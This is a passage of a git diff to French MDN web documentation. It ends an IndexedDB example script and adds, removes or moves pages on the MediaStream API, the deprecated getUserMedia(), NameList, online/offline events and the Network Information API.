+      // le blob pour fournir un moyen de le télécharger directement. 
+      if (blob.type == 'text/html') {
+        var reader = new FileReader();
+        reader.onload = (function(evt) {
+          var html = evt.target.result;
+          iframe.load(function() {
+            $(this).contents().find('html').html(html);
+          });
+        });
+        reader.readAsText(blob);
+      } else if (blob.type.indexOf('image/') == 0) {
+        iframe.load(function() {
+          var img_id = 'image-' + key;
+          var img = $('<img id="' + img_id + '"/>');
+          $(this).contents().find('body').html(img);
+          var obj_url = window.URL.createObjectURL(blob);
+          $(this).contents().find('#' + img_id).attr('src', obj_url);
+          window.URL.revokeObjectURL(obj_url);
+        });
+      } else if (blob.type == 'application/pdf') {
+        $('*').css('cursor', 'wait');
+        var obj_url = window.URL.createObjectURL(blob);
+        iframe.load(function() {
+          $('*').css('cursor', 'auto');
+        });
+        iframe.attr('src', obj_url);
+        window.URL.revokeObjectURL(obj_url);
+      } else {
+        iframe.load(function() {
+          $(this).contents().find('body').html("No view available");
+        });
+      }
+
+    });
+  }
+
+  /**
+   * @paramètre {string} (chaîne de caractères) biblioid (identifiant bibliothèque)
+   * @paramètre {string} (chaîne de caractères) title (titre)
+   * @paramètre {number} (nombre) year (année)
+   * @paramètre {string} (chaîne de caractères) url : l'URL de l'image à télécharger et stocker sur le pc
+   *   IndexedDB database. La ressource derrière cette URL assujettie à
+   *   "Same origin policy", donc pour que cette méthode fonctionne, l'URL doit venir de
+   *   la même origine que le site web/l'application sur lequel le code est déployé.
+   */
+  function addPublicationFromUrl(biblioid, title, year, url) {
+    console.log("addPublicationFromUrl:", arguments);
+
+    var xhr = new XMLHttpRequest();
+    xhr.open('GET', url, true);
+    //  Définir le type de réponse recherché à "blob" 
+    // http://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute
+    xhr.responseType = 'blob';
+    xhr.onload = function (evt) {
+                           if (xhr.status == 200) {
+                             console.log("Blob retrieved");
+                             var blob = xhr.response;
+                             console.log("Blob:", blob);
+                             addPublication(biblioid, title, year, blob);
+                           } else {
+                             console.error("addPublicationFromUrl error:",
+                                           xhr.responseText, xhr.status);
+                           }
+                         };
+    xhr.send();
+
+    // Nous ne pouvons pas utiliser jQuery ici car, à partir de jQuery 1.8.3, 
+    // le nouveau "blob" responseType n'est pas géré.
+    // http://bugs.jquery.com/ticket/11461
+    // http://bugs.jquery.com/ticket/7248
+    // $.ajax({
+    //   url: url,
+    //   type: 'GET',
+    //   xhrFields: { responseType: 'blob' },
+    //   success: function(data, textStatus, jqXHR) {
+    //     console.log("Blob retrieved");
+    //     console.log("Blob:", data);
+    //     // addPublication(biblioid, title, year, data);
+    //   },
+    //   error: function(jqXHR, textStatus, errorThrown) {
+    //     console.error(errorThrown);
+    //     displayActionFailure("Error during blob retrieval");
+    //   }
+    // });
+  }
+
+  /**
+   * @paramètre {string} (chaîne de caractères) biblioid (identifiant bibliothèque)
+   * @paramètre {string} (chaîne de caractères) title (titre)
+   * @paramètre {number} (nombre) year (année)
+   * @paramètre {Blob=} blob
+   */
+  function addPublication(biblioid, title, year, blob) {
+    console.log("addPublication arguments:", arguments);
+    var obj = { biblioid: biblioid, title: title, year: year };
+    if (typeof blob != 'undefined')
+      obj.blob = blob;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req;
+    try {
+      req = store.add(obj);
+    } catch (e) {
+      if (e.name == 'DataCloneError')
+        displayActionFailure("This engine doesn't know how to clone a Blob, " +
+                             "use Firefox");
+      throw e;
+    }
+    req.onsuccess = function (evt) {
+      console.log("Insertion in DB successful");
+      displayActionSuccess();
+      displayPubList(store);
+    };
+    req.onerror = function() {
+      console.error("addPublication error", this.error);
+      displayActionFailure(this.error);
+    };
+  }
+
+  /**
+   * @paramètre {string} (chaîne de caractères) biblioid (identifiant bibliothèque)
+   */
+  function deletePublicationFromBib(biblioid) {
+    console.log("deletePublication:", arguments);
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.index('biblioid');
+    req.get(biblioid).onsuccess = function(evt) {
+      if (typeof evt.target.result == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      deletePublication(evt.target.result.id, store);
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublicationFromBib:", evt.target.errorCode);
+    };
+  }
+
+  /**
+   * @paramètre {number} (nombre) key (clé)
+   * @paramètre {IDBObjectStore=} store (objet de stockage)
+   */
+  function deletePublication(key, store) {
+    console.log("deletePublication:", arguments);
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readwrite');
+
+    // Selon les spécifications http://www.w3.org/TR/IndexedDB/#object-store-deletion-operation
+    // le résultat de l'objet de stockage, l'algorithme de l'opération de suppression est
+    // "undefined" (indéfini), donc il n'est pas possible de savoir si certains enregistrements
+    // ont été effectivement supprimés en lisant le résultat de la requête.
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var record = evt.target.result;
+      console.log("record:", record);
+      if (typeof record == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      // Attention:  La même clé utilisée pour la création doit être transmise pour 
+      // la suppression.  Si la clé était un nombre pour la création, elle doit
+      // être un nombre pour la suppression.
+      req = store.delete(key);
+      req.onsuccess = function(evt) {
+        console.log("evt:", evt);
+        console.log("evt.target:", evt.target);
+        console.log("evt.target.result:", evt.target.result);
+        console.log("delete successful");
+        displayActionSuccess("Deletion successful");
+        displayPubList(store);
+      };
+      req.onerror = function (evt) {
+        console.error("deletePublication:", evt.target.errorCode);
+      };
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublication:", evt.target.errorCode);
+      };
+  }
+
+  function displayActionSuccess(msg) {
+    msg = typeof msg != 'undefined' ? "Success: " + msg : "Success";
+    $('#msg').html('<span class="action-success">' + msg + '</span>');
+  }
+  function displayActionFailure(msg) {
+    msg = typeof msg != 'undefined' ? "Failure: " + msg : "Failure";
+    $('#msg').html('<span class="action-failure">' + msg + '</span>');
+  }
+  function resetActionStatus() {
+    console.log("resetActionStatus ...");
+    $('#msg').empty();
+    console.log("resetActionStatus DONE");
+  }
+
+  function addEventListeners() {
+    console.log("addEventListeners");
+
+    $('#register-form-reset').click(function(evt) {
+      resetActionStatus();
+    });
+
+    $('#add-button').click(function(evt) {
+      console.log("add ...");
+      var title = $('#pub-title').val();
+      var biblioid = $('#pub-biblioid').val();
+      if (!title || !biblioid) {
+        displayActionFailure("Required field(s) missing");
+        return;
+      }
+      var year = $('#pub-year').val();
+      if (year != '') {
+        // Le mieux est d'utiliser Number.isInteger si le moteur a EcmaScript 6
+        if (isNaN(year))  {
+          displayActionFailure("Invalid year");
+          return;
+        }
+        year = Number(year);
+      } else {
+        year = null;
+      }
+
+      var file_input = $('#pub-file');
+      var selected_file = file_input.get(0).files[0];
+      console.log("selected_file:", selected_file);
+      // Garder une référence sur la façon de réinitialiser l'entrée du fichier dans l'interface
+      // utilisateur une fois que nous avons sa valeur, mais au lieu de faire cela nous utiliserons
+      // plutôt un type "reset" entré dans le formulaire HTML .
+      // file_input.val(null);
+      var file_url = $('#pub-file-url').val();
+      if (selected_file) {
+        addPublication(biblioid, title, year, selected_file);
+      } else if (file_url) {
+        addPublicationFromUrl(biblioid, title, year, file_url);
+      } else {
+        addPublication(biblioid, title, year);
+      }
+
+    });
+
+    $('#delete-button').click(function(evt) {
+      console.log("delete ...");
+      var biblioid = $('#pub-biblioid-to-delete').val();
+      var key = $('#key-to-delete').val();
+
+      if (biblioid != '') {
+        deletePublicationFromBib(biblioid);
+      } else if (key != '') {
+        // Le mieux est d'utiliser Number.isInteger si le moteur a EcmaScript 6
+        if (key == '' || isNaN(key))  {
+          displayActionFailure("Invalid key");
+          return;
+        }
+        key = Number(key);
+        deletePublication(key);
+      }
+    });
+
+    $('#clear-store-button').click(function(evt) {
+      clearObjectStore();
+    });
+
+    var search_button = $('#search-list-button');
+    search_button.click(function(evt) {
+      displayPubList();
+    });
+
+  }
+
+  openDb();
+  addEventListeners();
+
+})(); // Immediately-Invoked Function Expression (IIFE)
+ +

{{ LiveSampleLink('Full_IndexedDB_example', "Test the online live demo") }}

+ +

Voir aussi

+ +

Référence :

+ + + +

Tutoriels :

+ + + +

Bibliothèques :

+ +
    +
  • localForage : Un Polyfill qui fournit un nom simple : la syntaxe de valeur pour le stockage de données côté client, qui utilise IndexedDB en arrière-plan, mais retourne à WebSQL puis à localStorage pour les navigateurs qui ne prennent pas en charge IndexedDB.
    • +
  • dexie.js : Une enveloppe pour IndexedDB qui permet un développement de code beaucoup plus rapide grâce à une syntaxe simple et agréable.
    • +
  • ZangoDB : Un MongoDB-like interface pour IndexedDB qui prend en charge la plupart des fonctionnalités familières de filtrage, projection, tri, mise à jour et agrégation de MongoDB.
    • +
  • JsStore : Une enveloppe d'IndexedDB simple et avancée ayant une syntaxe SQL.
    • +
diff --git a/files/fr/web/api/media_streams_api/index.html b/files/fr/web/api/media_streams_api/index.html new file mode 100644 index 0000000000..6722bc8885 --- /dev/null +++ b/files/fr/web/api/media_streams_api/index.html @@ -0,0 +1,85 @@ +--- +title: API MediaStream +slug: WebRTC/MediaStream_API +tags: + - API + - Audio + - Media + - Overview +translation_of: Web/API/Media_Streams_API +--- +
{{DefaultAPISidebar("Media Capture and Streams")}}
+ +

L'API Processing MediaStream, souvent appelée Media Stream API ou Stream API, est la partie de WebRTC décrivant un flux de données audio ou vidéo, les méthodes pour les manipuler, les contraintes associées au type de données, les erreurs et succès des callbacks avec les données asynchrones, et les évènements déclenchés durant le processus.

+ +

Concepts de base

+ +

L'API est basée sur la manipulation de l'objet {{domxref("MediaStream")}} représentant un flux de données audio ou vidéo. Typiquement, un {{domxref("MediaStream")}} est une simple chaine URL qui peut être utilisée pour référencer une donnée stockée dans un {{domxref("File")}} DOM, ou un objet {{domxref("Blob")}} crée avec {{domxref("window.URL.createObjectURL()")}}, tel que décrit dans cette vidéo.

+ +

Un {{domxref("MediaStream")}} consiste en zéro ou plus objets {{domxref("MediaStreamTrack")}}, représentant différentes pistes audio ou vidéos. Chaque {{domxref("MediaStreamTrack")}} peut avoir un ou plusieurs canal. Le canal représente la plus petite unité d'un flux média, tel un signal audio d'un haut-parleur, séparé en gauche et droite sur une piste audio en stéréo.

+ +

Les objets {{domxref("MediaStream")}} ont une seule entrée et une seule sortie. Un objet {{domxref("MediaStream")}} généré par getUserMedia() est dit local, et sa source d'entrée provient de l'une des caméra ou microphone de l'utilisateur. Un objet {{domxref("MediaStream")}} non local peut représenter un média tel que {{HTMLElement("video")}} ou {{HTMLElement("audio")}}, un flux provenant du réseau et obtenu via l'API WebRTC PeerConnection, ou un flux créé en utilisant l'API Web Audio {{domxref("MediaStreamAudioSourceNode")}}. La sortie d'un objet {{domxref("MediaStream")}} est liée à un consommateur. Elle peut-être un élément média tel que {{HTMLElement("audio")}} ou {{HTMLElement("video")}}, l'API WebRTC PeerConnection ou l'API Web Audio {{domxref("MediaStreamAudioDestinationNode")}}.

+ +

Interfaces

+ +

Dans ces articles de référence, on trouvera les informations fondamentales sur les différentes interfaces qui composent l'API Media Capture and Streams API.

+ +
+
    +
  • {{domxref("BlobEvent")}}
    • +
  • {{domxref("CanvasCaptureMediaStreamTrack")}}
    • +
  • {{domxref("InputDeviceInfo")}}
    • +
  • {{domxref("MediaDeviceKind")}}
    • +
  • {{domxref("MediaDeviceInfo")}}
    • +
  • {{domxref("MediaDevices")}}
    • +
  • {{domxref("MediaStream")}}
    • +
  • {{domxref("MediaStreamConstraints")}}
    • +
  • {{domxref("MediaStreamEvent")}}
    • +
  • {{domxref("MediaStreamTrack")}}
    • +
  • {{domxref("MediaStreamTrackEvent")}}
    • +
  • {{domxref("MediaTrackCapabilities")}}
    • +
  • {{domxref("MediaTrackConstraints")}}
    • +
  • {{domxref("MediaTrackSettings")}}
    • +
  • {{domxref("MediaTrackSupportedConstraints")}}
    • +
  • {{domxref("NavigatorUserMedia")}}
    • +
  • {{domxref("NavigatorUserMediaError")}}
    • +
  • {{domxref("OverconstrainedError")}}
    • +
  • {{domxref("URL")}}
    • +
+
+ +

Les premières versions de la spécification pour Media Capture and Streams API incluaient des interfaces séparées AudioStreamTrack et VideoStreamTrack, chacunes basées sur {{domxref("MediaStreamTrack")}} et qui représentaient des types de flux différents. Celles-ci n'existent plus et il faut utiliser MediaStreamTrack directement à la place.

+ +

Évènements

+ +
+
    +
  • {{event("addtrack")}}
    • +
  • {{event("ended")}}
    • +
  • {{event("muted")}}
    • +
  • {{event("overconstrained")}}
    • +
  • {{event("removetrack")}}
    • +
  • {{event("started")}}
    • +
  • {{event("unmuted")}}
    • +
+
+ +

Guides et tutorials

+ +

Les articles qui suivent fournissent des manuels et guides pour utiliser cette API et réaliser des certaines tâches avec elle.

+ +

{{LandingPageListSubpages}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("api.MediaStream")}}

+ +

Voir aussi

+ +
    +
  • WebRTC - la page d'introduction à l'API
    • +
  • {{domxref("mediaDevices.getUserMedia()")}}
    • +
  • Prendre des clichés avec WebRTC : un tutoriel/une démonstration sur l'utilisation de getUserMedia().
    • +
diff --git a/files/fr/web/api/namelist/index.html b/files/fr/web/api/namelist/index.html deleted file mode 100644 index 9003767ee3..0000000000 --- a/files/fr/web/api/namelist/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: NameList -slug: Web/API/NameList -tags: - - API - - DOM - - Obsolete -translation_of: Web/API/NameList ---- -
{{APIRef("DOM")}} {{ obsolete_header("10.0") }}
- -
-

Note: Bien que cette interface ait été précédemment implémentée dans Gecko, il n'y avait aucun moyen d'en créer une. NameList a été supprimé, en vigueur avec {{ Gecko("10.0") }}

-
- -

L'interface NameList fournit une abstraction pour une collection ordonnée de paires de valeurs de nom et d'espace de noms. Les éléments sont accessibles par un index basé sur 0. La spécification DOM ne spécifie pas comment la collection doit être implémentée.

- -

Propriétés

- -
-
{{domxref("NameList.length")}} {{readonlyInline}}
-
- -

Méthodes

- -
-
{{domxref("NameList.contains()")}}
-
Renvoie un {{jsxref("Boolean")}}.
-
{{domxref("NameList.containsNS()")}}
-
Renvoie un {{jsxref("Boolean")}}.
-
{{domxref("NameList.getName()")}}
-
Renvoie un {{domxref("DOMString")}}.
-
{{domxref("NameList.getNamespaceURI()")}}
-
Renvoie un {{domxref("DOMString")}}.
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName("DOM3 Core", "core.html#NameList", "NameList")}}{{Spec2("DOM3 Core")}}Définition initiale.
diff --git a/files/fr/web/api/navigator/getusermedia/index.html b/files/fr/web/api/navigator/getusermedia/index.html new file mode 100644 index 0000000000..44921a5d48 --- /dev/null +++ b/files/fr/web/api/navigator/getusermedia/index.html @@ -0,0 +1,194 @@ +--- +title: NavigatorUserMedia.getUserMedia() +slug: NavigatorUserMedia.getUserMedia +tags: + - API + - Deprecated + - Media + - WebRTC + - getusermedia +translation_of: Web/API/Navigator/getUserMedia +--- +
{{APIRef("Media Capture and Streams")}}{{deprecated_header}}
+ +

La fonction obsolète Navigator.getUserMedia() demande à l'utilisateur la permission d'utiliser une entrée vidéo (ex: une webcam ou un écran partagé) ou audio (ex: un microphone) de l'utilisateur.

+ +

Si ce dernier l'autorise, un {{domxref("MediaStream")}} est transmis au callback spécifié, il contient les pistes audio et/ou vidéo des entrées autorisées. Si l'utilisateur refuse l'accès, que le périphérique n'existe pas, ou qu'une erreur quelconque se produit, le callback d'erreur est alors exécuté avec comme paramètre un objet {{domxref("MediaStreamError")}}, il décrit l'erreur qui vient de se produire. Si l'utilisateur ne fait aucun choix, aucun callback n'est exécuté.

+ +
+

Il s'agit d'une ancienne méthode, veuillez utiliser la méthode {{domxref("MediaDevices.getUserMedia", "navigator.mediaDevices.getUserMedia()")}} à la place. Bien qu'elle ne soit pas techniquement obsolète, l'utilisation de callbacks l'est, les spécifications encouragent fortamment l'utilisation de la nouvelle version avec {{jsxref("promise", "promesses")}}.

+
+ +

Syntaxe

+ +
navigator.getUserMedia(constraints, successCallback, errorCallback);
+ +

Paramètres

+ +
+
constraints
+
Un objet {{domxref("MediaStreamConstraints")}} spécifiant les types de médias que vous souhaitez recevoir, ainsi que les contraintes pour chaque type de média. Pour plus de détails, voir la section constraints de la méthode {{domxref("MediaDevices.getUserMedia()")}}, ainsi que l'article Capacités, constraintes, et configurations.
+
successCallback
+
Une fonction qui est invoquée lorsque la demande d'accès aux entrées média est acceptée. Cette fonction est appellée avec un paramètre: l'objet {{domxref("MediaStream")}} qui contient les flux de médias. Votre callback peut assigner le stream l'objet que vous désirez (ex: un élément {{HTMLElement("audio")}} ou {{HTMLElement("video")}}), comme dans l'exemple suivant: + 
function(stream) {
+   var video = document.querySelector('video');
+   video.src = window.URL.createObjectURL(stream);
+   video.onloadedmetadata = function(e) {
+      // Do something with the video here.
+   };
+}
+
+
+
errorCallback
+
Lorsque l'appel échoue, la fonction spécifiée dans errorCallback est appelée avec comme seul argument l'objet {{domxref("MediaStreamError")}}. Cet objet ressemble à {{domxref("DOMException")}}. Voir {anch("Erreurs")}} plus bas sur cette page pour voir quelle erreur peut arriver.
+
+ +

Valeur de retour

+ +

{{domxref("undefined")}}.

+ +

Erreurs

+ +

{{page("/fr/docs/Web/API/MediaDevices/getUserMedia", "Errors")}}

+ +

Exemples

+ +

Largeur et hauteur

+ +

Voici un exemple de l'utilisation de getUserMedia(), avec les différentes mises en oeuvres pour couvrir les préfixes navigateurs. Remarquez que ceci est la façon dépréciée de procéder. Regardez les exemples sous la section {{domxref("MediaDevices.getUserMedia()")}} pour les exemples modernes.

+ +
navigator.getUserMedia = navigator.getUserMedia ||
+                         navigator.webkitGetUserMedia ||
+                         navigator.mozGetUserMedia;
+
+if (navigator.getUserMedia) {
+   navigator.getUserMedia({ audio: true, video: { width: 1280, height: 720 } },
+      function(stream) {
+         var video = document.querySelector('video');
+         video.src = window.URL.createObjectURL(stream);
+         video.onloadedmetadata = function(e) {
+           video.play();
+         };
+      },
+      function(err) {
+         console.log("The following error occurred: " + err.name);
+      }
+   );
+} else {
+   console.log("getUserMedia not supported");
+}
+ +

Permissions

+ +

Pour utiliser getUserMedia() dans une application installable (par exemple une application Firefox OS), vous devez spécifier un ou plusieurs des champs suivants dans le fichier de manifest.

+ +
"permissions": {
+  "audio-capture": {
+    "description": "Required to capture audio using getUserMedia()"
+  },
+  "video-capture": {
+    "description": "Required to capture video using getUserMedia()"
+  }
+}
+
+ +

See permission: audio-capture and permission: video-capture for more information.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationsStatutCommentaire
{{SpecName('Media Capture', '#navigatorusermedia-interface-extensions', 'navigator.getUserMedia')}}{{Spec2('Media Capture')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +
+

New code should use {{domxref("Navigator.mediaDevices.getUserMedia()")}} instead.

+
+ +
+

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Microsoft EdgeInternet ExplorerOperaSafari (WebKit)
Basic support21{{property_prefix("webkit")}} [1]17{{property_prefix("moz")}} [3]{{CompatVersionUnknown}}{{CompatNo}}12 [2]
+ 18{{property_prefix("webkit")}}		{{CompatNo}}
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic Support{{CompatUnknown}}{{CompatChrome(40.0)}}{{property_prefix("webkit")}} [2]{{CompatVersionUnknown}}24{{property_prefix("moz")}} [3]1.2{{property_prefix("moz")}} [4]
+ 1.4{{property_prefix("moz")}}		{{CompatNo}}
+
+ +

[1] Les versions suivantes de Chrome supportent {{domxref("MediaDevices.getUserMedia()")}} sans préfixe qui remplace cette méthode dépréciée.

+ +

[2] Chrome et Opera utilisent toujours une ancienne syntaxe de contraintes mais la syntaxe décrite ici est disponible via le polyfill adapter.js.

+ +

[3] La syntaxe de la contrainte décrite ici est disponible depuis Firefox 38. Les versions précédentes utilisent une ancienne syntaxe de contraintes, mais la syntaxe décrite ici est disponible via le polyfill adapter.js.

+ +

[4] Dans Firefox OS 1.2 seul audio était supporté, 1.4 ajoute le support de video.

+ +

Pour le moment, utiliser WebRTC pour accéder à la caméra est supporté par Chrome, Opera, et Firefox 20.

+ +

Voir aussi

+ +
    +
  • {{domxref("MediaDevices.getUserMedia()")}} qui remplace cette méthode dépréciée.
    • +
  • WebRTC - page d'introduction aux APIS
    • +
  • MediaStream API - L'API des Media Streams Objects
    • +
  • Taking webcam photos - un tutoriel à propos de l'utilisation de  getUserMedia() pour prendre des photos plutôt que des vidéos.
    • +
diff --git a/files/fr/web/api/navigatoronline/online_and_offline_events/index.html b/files/fr/web/api/navigatoronline/online_and_offline_events/index.html new file mode 100644 index 0000000000..4ba6a2d717 --- /dev/null +++ b/files/fr/web/api/navigatoronline/online_and_offline_events/index.html @@ -0,0 +1,99 @@ +--- +title: Évènements online et offline +slug: Web/API/NavigatorOnLine/Évènements_online_et_offline +tags: + - AJAX + - Applications_web_hors_ligne + - DOM + - Développement_Web +translation_of: Web/API/NavigatorOnLine/Online_and_offline_events +--- +

{{ Fx_minversion_header(3) }} Firefox 3 implémente les évènements online et offline de la spécification Web Applications 1.0 du WHATWG.

+ +

Aperçu

+ +

Afin de construire une bonne application Web capable de fonctionner hors ligne, il est nécessaire de savoir quand votre application est hors ligne. De même, vous devrez également savoir quand votre application est de nouveau en ligne. Concrètement, ce qui est nécessaire se résume à :

+ +
    +
  1. Savoir quand l'utilisateur est de nouveau en ligne, afin de se resynchroniser avec le serveur.
    2. +
  2. Savoir quand l'utilisateur est hors ligne, afin de s'assurer que les requêtes à faire vers le serveur soient bien enregistrées localement.
    3. +
+ +

C'est ce processus que les évènements online et offline rendent presque trivial.

+ +

Votre application web peut également vouloir indiquer que certains documents doivent être maintenus dans le cache des ressources hors ligne. Pour en savoir plus sur la manière de préciser cette indication, consultez l'article Ressources hors ligne dans Firefox.

+ +

API

+ + + +

navigator.onLine est une propriété qui maintient une valeur true/false (true pour online, false pour offline). Cette propriété est mise à jour chaque fois que l'utilisateur passe en mode « Hors ligne » en sélectionnant l'entrée de menu correspondante (Fichier → Travailler hors connexion dans Firefox).

+ +

De plus, cette propriété doit être mise à jour dès que le navigateur n'arrive plus à se connecter au réseau. D'après la spécification :

+ +
L'attribut navigator.onLine doit renvoyer false si l'agent utilisateur ne va pas contacter le réseau lorsque l'utilisateur suit un lien ou lorsqu'un script demande une page distante (ou sait qu'une telle tentative échouerait)…
+ +

Firefox 2 met à jour cette propriété lors du passage en mode hors connexion du navigateur, et lors de la perte ou de la récupération de la connectivité réseau sous Windows et Linux.

+ +

Cette propriété existait dans de versions plus anciennes de Firefox et Internet Explorer (la spécification se base sur ces implémentations précédentes), vous pouvez donc immédiatement commencer à l'utiliser. La détection de l'état du réseau a été ajoutée dans Firefox 2.

+ +

Les évènements « online » et « offline »

+ +

Firefox 3 introduit deux nouveaux évènements : « online » et « offline ». Ces deux évènements sont déclenchés sur l'élément <body> de chaque page lorsque le navigateur passe d'un mode à l'autre. De plus, les évènements se propagent depuis document.body, vers document, puis vers window. Aucun de ces deux évènements n'est annulable (il n'est pas possible d'empêcher l'utilisateur de passer en ligne ou hors ligne).

+ +

Vous pouvez ajouter des gestionnaires pour ces évènements selon les manières habituelles :

+ +
    +
  • en utilisant addEventListener sur window, document ou document.body
    • +
  • en définissant les propriétés .ononline ou .onoffline sur document ou document.body vers un objet JavaScript Function. (Note : l'utilisation de window.ononline ou window.onoffline ne fonctionnera pas, pour des raisons de compatibilité.)
    • +
  • en spécifiant les attributs ononline="…" ou onoffline="…" à la balise <body> dans le balisage HTML.
    • +
+ +

Exemple

+ +

Un cas de test simple peut être exécuté pour vérifier que les évènements fonctionnent. XXX When mochitests for this are created, point to those instead and update this example -nickolay

+ +
 <!doctype html>
+ <html>
+ <head>
+   <script>
+     function updateOnlineStatus(msg) {
+       var status = document.getElementById("status");
+       var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
+       status.setAttribute("class", condition);
+       var state = document.getElementById("state");
+       state.innerHTML = condition;
+       var log = document.getElementById("log");
+       log.appendChild(document.createTextNode("Évènement : " + msg + " ; état=" + condition + "\n"));
+     }
+     function loaded() {
+       updateOnlineStatus("load");
+       document.body.addEventListener("offline", function () {
+         updateOnlineStatus("offline")
+       }, false);
+       document.body.addEventListener("online", function () {
+         updateOnlineStatus("online")
+       }, false);
+     }
+   </script>
+   <style>...</style>
+ </head>
+ <body onload="loaded()">
+   <div id="status"><p id="state"></p></div>
+   <div id="log"></div>
+ </body>
+ </html>
+
+ +

Références

+ + + +
 
+ +

{{ languages( { "en": "en/Online_and_offline_events", "es": "es/Eventos_online_y_offline", "ja": "ja/Online_and_offline_events", "pl": "pl/Zdarzenia_online_i_offline", "pt": "pt/Eventos_online_e_offline" } ) }}

diff --git "a/files/fr/web/api/navigatoronline/\303\251v\303\250nements_online_et_offline/index.html" "b/files/fr/web/api/navigatoronline/\303\251v\303\250nements_online_et_offline/index.html" deleted file mode 100644 index 4ba6a2d717..0000000000 --- "a/files/fr/web/api/navigatoronline/\303\251v\303\250nements_online_et_offline/index.html" +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Évènements online et offline -slug: Web/API/NavigatorOnLine/Évènements_online_et_offline -tags: - - AJAX - - Applications_web_hors_ligne - - DOM - - Développement_Web -translation_of: Web/API/NavigatorOnLine/Online_and_offline_events ---- -

{{ Fx_minversion_header(3) }} Firefox 3 implémente les évènements online et offline de la spécification Web Applications 1.0 du WHATWG.

- -

Aperçu

- -

Afin de construire une bonne application Web capable de fonctionner hors ligne, il est nécessaire de savoir quand votre application est hors ligne. De même, vous devrez également savoir quand votre application est de nouveau en ligne. Concrètement, ce qui est nécessaire se résume à :

- -
    -
  1. Savoir quand l'utilisateur est de nouveau en ligne, afin de se resynchroniser avec le serveur.
    2. -
  2. Savoir quand l'utilisateur est hors ligne, afin de s'assurer que les requêtes à faire vers le serveur soient bien enregistrées localement.
    3. -
- -

C'est ce processus que les évènements online et offline rendent presque trivial.

- -

Votre application web peut également vouloir indiquer que certains documents doivent être maintenus dans le cache des ressources hors ligne. Pour en savoir plus sur la manière de préciser cette indication, consultez l'article Ressources hors ligne dans Firefox.

- -

API

- - - -

navigator.onLine est une propriété qui maintient une valeur true/false (true pour online, false pour offline). Cette propriété est mise à jour chaque fois que l'utilisateur passe en mode « Hors ligne » en sélectionnant l'entrée de menu correspondante (Fichier → Travailler hors connexion dans Firefox).

- -

De plus, cette propriété doit être mise à jour dès que le navigateur n'arrive plus à se connecter au réseau. D'après la spécification :

- -
L'attribut navigator.onLine doit renvoyer false si l'agent utilisateur ne va pas contacter le réseau lorsque l'utilisateur suit un lien ou lorsqu'un script demande une page distante (ou sait qu'une telle tentative échouerait)…
- -

Firefox 2 met à jour cette propriété lors du passage en mode hors connexion du navigateur, et lors de la perte ou de la récupération de la connectivité réseau sous Windows et Linux.

- -

Cette propriété existait dans de versions plus anciennes de Firefox et Internet Explorer (la spécification se base sur ces implémentations précédentes), vous pouvez donc immédiatement commencer à l'utiliser. La détection de l'état du réseau a été ajoutée dans Firefox 2.

- -

Les évènements « online » et « offline »

- -

Firefox 3 introduit deux nouveaux évènements : « online » et « offline ». Ces deux évènements sont déclenchés sur l'élément <body> de chaque page lorsque le navigateur passe d'un mode à l'autre. De plus, les évènements se propagent depuis document.body, vers document, puis vers window. Aucun de ces deux évènements n'est annulable (il n'est pas possible d'empêcher l'utilisateur de passer en ligne ou hors ligne).

- -

Vous pouvez ajouter des gestionnaires pour ces évènements selon les manières habituelles :

- -
    -
  • en utilisant addEventListener sur window, document ou document.body
    • -
  • en définissant les propriétés .ononline ou .onoffline sur document ou document.body vers un objet JavaScript Function. (Note : l'utilisation de window.ononline ou window.onoffline ne fonctionnera pas, pour des raisons de compatibilité.)
    • -
  • en spécifiant les attributs ononline="…" ou onoffline="…" à la balise <body> dans le balisage HTML.
    • -
- -

Exemple

- -

Un cas de test simple peut être exécuté pour vérifier que les évènements fonctionnent. XXX When mochitests for this are created, point to those instead and update this example -nickolay

- -
 <!doctype html>
- <html>
- <head>
-   <script>
-     function updateOnlineStatus(msg) {
-       var status = document.getElementById("status");
-       var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
-       status.setAttribute("class", condition);
-       var state = document.getElementById("state");
-       state.innerHTML = condition;
-       var log = document.getElementById("log");
-       log.appendChild(document.createTextNode("Évènement : " + msg + " ; état=" + condition + "\n"));
-     }
-     function loaded() {
-       updateOnlineStatus("load");
-       document.body.addEventListener("offline", function () {
-         updateOnlineStatus("offline")
-       }, false);
-       document.body.addEventListener("online", function () {
-         updateOnlineStatus("online")
-       }, false);
-     }
-   </script>
-   <style>...</style>
- </head>
- <body onload="loaded()">
-   <div id="status"><p id="state"></p></div>
-   <div id="log"></div>
- </body>
- </html>
-
- -

Références

- - - -
 
- -

{{ languages( { "en": "en/Online_and_offline_events", "es": "es/Eventos_online_y_offline", "ja": "ja/Online_and_offline_events", "pl": "pl/Zdarzenia_online_i_offline", "pt": "pt/Eventos_online_e_offline" } ) }}

diff --git a/files/fr/web/api/network_information_api/index.html b/files/fr/web/api/network_information_api/index.html new file mode 100644 index 0000000000..076718cbcc --- /dev/null +++ b/files/fr/web/api/network_information_api/index.html @@ -0,0 +1,89 @@ +--- +title: Network Information API +slug: WebAPI/Network_Information +tags: + - WebAPI +translation_of: Web/API/Network_Information_API +--- +

{{ SeeCompatTable() }}

+ +

